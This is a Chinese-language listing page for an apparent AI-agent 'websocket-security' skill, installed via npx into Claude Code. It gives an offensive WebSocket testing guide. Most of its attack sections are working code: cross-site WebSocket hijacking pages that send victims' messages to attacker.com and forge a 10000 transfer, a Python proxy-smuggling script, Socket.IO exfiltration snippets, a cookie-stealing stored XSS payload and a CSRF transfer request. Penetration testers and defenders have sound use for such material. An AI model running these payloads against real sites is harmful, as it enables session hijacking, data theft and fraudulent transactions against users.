关于 websocket-security
websocket-security 是用于检查 WebSocket 握手、会话和消息处理的安全测试技能。内容涵盖 CSWSH、常见漏洞类别,以及用于检查或桥接 WebSocket 流量的工具。
主要功能
- 01WebSocket 握手与协议基础
- 02CSWSH 风险检查
- 03会话与 Origin 验证
- 04消息注入与传输风险
- 05wsrepl 与 HTTP 桥接工具
适用场景
- 01检查握手的 Origin 校验
- 02验证会话与权限边界
- 03测试消息处理中的注入
- 04通过工具检查 WebSocket 流量
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill websocket-security安装后在 Claude Code 中输入/websocket-security确认已加载。
详细介绍
技能:WebSocket 安全
AI 加载指令:此技能涵盖 WebSocket 协议基础、跨站 WebSocket 劫持(CSWSH)、实用工具桥接和常见漏洞类别。仅在授权测试中使用;将令牌和消息内容视为敏感信息。对于 REST/GraphQL 配套测试,如果工作区中存在 api-sec,请一并加载。
0. 快速开始
审查代理或原始流量时,请留意:
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Sec-WebSocket-Protocol: optional-subprotocol
服务端成功响应指示:
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
路由说明:在 Burp/浏览器 DevTools 中筛选 101 和 Upgrade: websocket;如需深入测试 API,请通过 api-sec 对齐身份验证/授权模型。
1. 协议基础
客户端请求(典型)
Upgrade: websocket和Connection: Upgrade—— 必需的升级握手。Sec-WebSocket-Key—— base64 随机数;服务端使用魔术 GUID 对其进行哈希,并返回Sec-WebSocket-Accept。Sec-WebSocket-Version: 13—— 当前标准版本,用于确保浏览器互操作性。
服务端响应
HTTP/1.1 101 Switching Protocols—— 握手完成;随后按照 RFC 通过 WebSocket 二进制/文本帧通信。
最简概念流程:
Client: HTTP GET + Upgrade headers
Server: 101 + Sec-WebSocket-Accept
Channel: framed messages (text/binary), ping/pong, close
2. 跨站 WebSocket 劫持(CSWSH)
条件
- 服务端在 WebSocket 握手期间不验证
Origin(或等效绑定),并且 - 受害者已在目标站点登录(通过 Cookie 或浏览器存储的凭据)。
此时,在受害者浏览器中加载的恶意页面可能会以受害者身份打开 WebSocket;这与 CSRF 类似,但针对的是持久双向通道。
概念验证模式(仅限实验环境/授权目标)
const ws = new WebSocket('wss://vulnerable.example.com/messages');
ws.onopen = () => { ws.send('HELLO'); };
ws.onmessage = (event) => {
fetch('https://attacker.example.net/?' + encodeURIComponent(event.data));
};
测试说明:确认是否检查 Origin、是否发送 Cookie(SameSite 规则),以及是否需要子协议或自定义标头——缺少这些检查会增加 CSWSH 风险。
3. 使用工具测试
wsrepl
pip install wsrepl
wsrepl -u wss://target.example.com/ws -P auth_plugin.py
使用插件在 WebSocket 生命周期中重现浏览器 Cookie、标头或令牌刷新行为。
ws-harness(桥接至 HTTP,以供其他工具使用)
python ws-harness.py -u "ws://127.0.0.1:8765/path" -m ./message.txt
使用 SQL 注入工具,通过桥接的 HTTP 接口进行下游测试示例(将 URL 调整为本地监听器):
sqlmap -u "http://127.0.0.1:8000/?fuzz=test" --batch
Burp Suite 生态系统
- SocketSleuth —— 在 Burp 中检查和操纵 WebSocket 流量。
- WebSocket Turbo Intruder —— 高速或脚本化消息模糊测试。
4. 常见漏洞
| 问题 | 影响 |
|---|---|
缺少 Origin 验证 | 攻击者控制的页面可发起 CSWSH |
URL 中包含身份验证令牌(wss://host/ws?token=...) | 日志、代理、Referer 泄露和浏览器历史记录 |
| 消息未进行速率限制 | 滥用、暴力破解、DoS |
使用 ws:// 而非 wss:// | 传输内容为明文(MITM) |
| 消息正文中存在注入 | SQLi、命令注入;如果内容在其他位置存储/反射,还可能导致 XSS |
敏感 URL 反模式示例:
wss://api.example.com/stream?access_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
优先使用 Sec-WebSocket-Protocol、首条消息身份验证,或符合产品限制的 Cookie + CSRF 令牌模式。
5. 决策树
- 识别端点 —— 从 JS 包、Swagger 或
101响应中查找;记录使用的是wss还是ws。 - 审查握手 ——
Origin、Host 和 Cookie 策略是否正确?查询字符串中是否包含令牌? - 会话绑定 —— 在 Burp 中使用另一用户的 Cookie 容器重新连接;比较订阅主题和数据泄露情况。
- CSWSH —— 加载一个本地 HTML 页面,在受害者会话处于活动状态时连接目标;验证服务端是否拒绝错误的
Origin,或是否使用非 Cookie 密钥。 - 消息语义 —— 对 JSON/文本载荷进行模糊测试,检查注入;采用与 HTTP API 测试相同的逻辑。
- 传输 —— 标记生产环境中的
ws://;验证 TLS 和 HSTS 是否一致。
6. 相关路由
- 来自 api-sec — 身份验证、授权、IDOR 和速率限制通常会与同一 WebSocket 路由背后的 HTTP API 相似。
注意:WebSocket 通常与 REST 共用会话和权限模型;使用 api-sec,确保同一后端上的身份验证和资源边界一致。
7. CSWSH — 分步利用
步骤 1:确认 WS 握手未检查 Origin
# In Burp: intercept the WebSocket upgrade request
# Change Origin header to: https://attacker.com
# If 101 Switching Protocols returned → no Origin validation
# If 403/rejected → Origin is checked (test subdomain variants)
步骤 2:构造攻击者页面
<html>
<body>
<script>
const ws = new WebSocket('wss://target.com/ws');
ws.onopen = function() {
// Connection established as victim (cookies sent automatically)
console.log('Connected as victim');
// Send commands as victim
ws.send(JSON.stringify({action: 'get_profile'}));
ws.send(JSON.stringify({action: 'list_messages'}));
};
ws.onmessage = function(event) {
// Exfiltrate all received messages
fetch('https://attacker.com/collect', {
method: 'POST',
body: event.data
});
};
ws.onerror = function(err) {
fetch('https://attacker.com/error?e=' + encodeURIComponent(err));
};
</script>
</body>
</html>
步骤 3:窃取 Cookie 和劫持会话
Browser behavior for WebSocket:
- Cookies for the target domain ARE sent automatically in the upgrade request
- SameSite=None cookies always sent
- SameSite=Lax cookies: NOT sent (WebSocket is not top-level navigation)
- SameSite=Strict cookies: NOT sent
Key question: is the session cookie SameSite=None or legacy (no SameSite attribute)?
→ Legacy cookies default to Lax in modern Chrome but None in older browsers
步骤 4:以受害者身份读写消息
// Attacker can both READ and WRITE on the WebSocket
// Read: financial data, private messages, admin commands
// Write: transfer funds, change settings, send messages as victim
ws.onopen = () => {
// Write: perform actions as victim
ws.send(JSON.stringify({
action: 'transfer',
to: 'attacker_account',
amount: 10000
}));
};
ws.onmessage = (e) => {
const data = JSON.parse(e.data);
if (data.type === 'balance') {
// Read: exfiltrate sensitive data
navigator.sendBeacon('https://attacker.com/data',
JSON.stringify(data));
}
};
8. WebSocket 走私
概念
利用 WebSocket 升级绕过反向代理限制,然后通过 WebSocket 连接隧道传输任意 HTTP 流量。
基于升级的代理绕过
1. Reverse proxy restricts access to /admin (returns 403)
2. Client sends legitimate WebSocket upgrade to /ws
3. Proxy allows the upgrade (101 response)
4. After upgrade, proxy stops inspecting the connection (raw TCP passthrough)
5. Client sends raw HTTP request through the "WebSocket" connection:
GET /admin HTTP/1.1
Host: backend-server
6. Backend processes the HTTP request → 200 OK with admin content
基于 WebSocket 的 H2 走私
1. Connect to target via WebSocket
2. After upgrade, send HTTP/2 preface through the WebSocket tunnel
3. Backend HTTP/2 handler processes the smuggled requests
4. Bypass WAF/proxy rules that only inspect HTTP/1.1 traffic
使用 Python 实现
import websocket
import ssl
ws = websocket.create_connection(
'wss://target.com/ws',
header=['Origin: https://target.com'],
sslopt={"cert_reqs": ssl.CERT_NONE}
)
# After upgrade, send raw HTTP through the tunnel
smuggled_request = (
b"GET /admin/users HTTP/1.1\r\n"
b"Host: internal-backend\r\n"
b"Connection: close\r\n\r\n"
)
ws.send(smuggled_request, opcode=0x2) # binary frame
response = ws.recv()
print(response)
特定代理的行为
| 代理 | WebSocket 隧道行为 |
|---|---|
| Nginx | 101 后转发原始 TCP — 如果后端不验证 WS 帧,则可能发生走私 |
| HAProxy | 取决于 option http-server-close 或 tunnel 模式 |
| AWS ALB | 终止 WebSocket — 重新封装流量,走私难度更大 |
| Cloudflare | 检查 WebSocket 帧 — 阻止原始 HTTP 走私 |
| Varnish | 原生不支持 WebSocket — 升级可能完全绕过缓存 |
9. Socket.IO 特有漏洞
命名空间注入
Socket.IO 支持命名空间(/admin、/chat)。如果只在默认命名空间上进行授权:
// Client connects to privileged namespace without auth check
const adminSocket = io('https://target.com/admin');
adminSocket.on('connect', () => {
adminSocket.emit('list_users');
});
// Server may not verify that the client is authorized for /admin namespace
事件名称注入
如果事件名称由用户输入生成:
// Server-side vulnerable pattern:
socket.on(userInput, handler);
// Attacker sends event name that matches internal event:
socket.emit('__disconnect'); // force disconnect other clients
socket.emit('connection'); // re-trigger connection handler
socket.emit('error'); // trigger error handler
滥用确认回调
Socket.IO 确认可以返回数据。如果服务器在确认回调中发送敏感数据:
socket.emit('get_data', {id: 'admin'}, (response) => {
// response may contain data the client shouldn't have access to
fetch('https://attacker.com/exfil', {
method: 'POST',
body: JSON.stringify(response)
});
});
轮询回退 CSRF
WebSocket 不可用时,Socket.IO 会回退到 HTTP 长轮询。轮询传输使用带 Cookie 的常规 HTTP 请求 → 如果没有额外的令牌验证,则容易受到 CSRF 攻击:
POST /socket.io/?EIO=4&transport=polling&sid=SESSION_ID
Content-Type: application/octet-stream
4{"type":2,"data":["transfer",{"to":"attacker","amount":1000}]}
10. WebSocket 消息注入
在被拦截的连接中(对 ws:// 进行 MITM)
如果应用使用 ws://(未加密),同一网络上的攻击者可以注入消息:
1. ARP spoofing or network position to intercept traffic
2. Identify WebSocket frames in TCP stream
3. Inject crafted frames between legitimate messages
4. Both client→server and server→client injection possible
应用层注入
如果 WebSocket 消息在未经过清理的情况下被拼接或插值:
// Vulnerable server-side handler:
socket.on('chat', (msg) => {
// If msg contains JSON metacharacters:
broadcast(`{"user":"${username}","msg":"${msg}"}`);
// Injection: msg = '","admin":true,"msg":"hacked'
// Result: {"user":"attacker","msg":"","admin":true,"msg":"hacked"}
});
通过 WebSocket 实现存储型 XSS
1. Send WebSocket message: <img src=x onerror=alert(document.cookie)>
2. Server stores message and broadcasts to all connected clients
3. If client renders message as HTML → stored XSS
4. All connected users affected simultaneously
11. 二进制 WebSocket 消息操纵
Protobuf 反序列化
通过 WebSocket 使用 Protocol Buffers 的应用可能容易受到以下攻击:
1. Capture binary WebSocket frame
2. Decode protobuf structure (use protoc --decode_raw or protobuf-inspector)
3. Modify field values (e.g., change user_id, amount, role)
4. Re-encode and send modified frame
5. Server deserializes without re-validating field constraints
# Decode captured binary frame
echo "CAPTURED_HEX" | xxd -r -p | protoc --decode_raw
# Output: field structure with types and values
# Modify, re-encode, send back through WebSocket
MessagePack 反序列化
import msgpack
import websocket
ws = websocket.create_connection('wss://target.com/ws')
# Decode received binary message
raw = ws.recv()
data = msgpack.unpackb(raw, raw=False)
# data = {'action': 'get_balance', 'user_id': 123}
# Modify and re-send
data['user_id'] = 1 # IDOR: access admin's balance
ws.send(msgpack.packb(data), opcode=0x2)
类型混淆攻击
二进制序列化格式可能导致类型混淆:
# Original: user_id as integer (field type 0)
# Modified: user_id as string "1 OR 1=1" (field type 2)
# If server doesn't validate types after deserialization → SQL injection
# Original: is_admin as boolean false (0x00)
# Modified: is_admin as boolean true (0x01)
# Direct privilege escalation if server trusts deserialized values
二进制 WebSocket 分析工具
| 工具 | 用途 |
|---|---|
| Burp Suite + SocketSleuth | 拦截并修改二进制帧 |
protobuf-inspector | 解码未知的 protobuf 结构 |
msgpack-tools | 对 MessagePack 进行编码/解码的 CLI |
wsdump(websocket-client) | 捕获并重放原始帧 |
| Wireshark | 在协议层解析 WebSocket 帧 |